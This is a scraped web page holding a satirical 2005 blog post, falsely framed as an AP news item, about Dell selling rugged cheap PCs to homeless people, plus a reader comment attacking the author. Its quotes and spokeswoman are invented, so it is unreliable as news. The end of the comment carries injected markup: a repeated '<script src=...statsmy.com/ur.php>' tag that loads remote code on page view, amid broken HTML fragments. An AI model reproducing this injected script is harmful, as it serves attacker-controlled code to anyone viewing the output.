Smooth Operator - Dell Computers Ponders 'PC's For The Homeless' Marketing Strategy

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Dell Computers Ponders 'PC's For The Homeless' Marketing Strategy

by Mark on 12/31/2005 (3)

Yo man! I take Pay Pal!

(AP) The Dell Computer Corp, one of a growing number of notorious U.S. companies engaged in the outsourcing of nearly 700,000 stateside jobs overseas, unveils plans to "seize the climate of the day that we helped create" by offering low cost PC's to the homeless. Dell spokeswoman Eliza Kruinkshank explains:

"Directly due to employment lost to outsourcing of jobs, and the deluge of cheap, foreign made goods into America, many U.S. citizens are finding themselves unemployed and indigent. We recognize this new demographic group as a potential market, and are creating a new line of PC's directed at their needs.

Kruinkshank gingerly hefted a smallish all in one mini-pc like a almost genuine Ming Vase.

The new purple and black Dell Urban Warrior is a fully contained, all in one unit with built in LCD screen, built in keyboard, 256MB of RAM and a 1000 Mhz CPU encased in a waterproof, battery powered, go-anywhere, rugged lightweight case. It's a grab and go unit, with wireless internet available via any nearby restaurant or civic building's wireless access point, and can be recharged by means of any convenient alley way 110 volt plug, jury rigged to a car battery, or even trickle charged with the optional "Solar Buddy" solar cell array.

Our target range for the unit, bundled with one year of NetNada web access is 100 dollars, well within the pan-handling means of most homeless. Fortunately, the Urban Warrior is made in China, where fabrication costs are so low, we can still make a profit at this meager gross margin. It's a no-miss 3 pointer from la-la land, as we see it!"

Dell also planned to set up a toll free line for Urban Warrior tech support "with a currently undisclosed overseas firm, probably in India, and we probably won't let you know even after we decide anyway."0" style="display:no

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3. by foo on 3/1/2007 4:52:29 PM

Motz went to fark.com and said: Mark Motz -- Go out and get yourself a top end Asus, Intel or Abit board, [..] --Yes, this is satire (I wrote it), but being a former phone tech support/sales rep myself, outsourcing is an unforgivable crime, as I see it. Why hasn't the FED taxed outsourcers accordingly? One can only speculate. My advice is to do a bit of research to find out what companies utilize outsourcing and avoid them. Buy from U.S. companies that employ U.S. citizens. [..] Note, Motz recommends that we buy entirely outsourced components from Abit, Asus, Intel etc. Or the fact that Motz gleefully buy motherboards, lcd's, processors, hard-disks, and every other single elecronic item, even though it is _entirely_ outsourced and manafactured in foreign factories by foreigners. Of course not. As a traitor, why would you care about buying foreign goods ? But of course, foreign support for entirely foreign-made goods is a "unforgivable crime"one" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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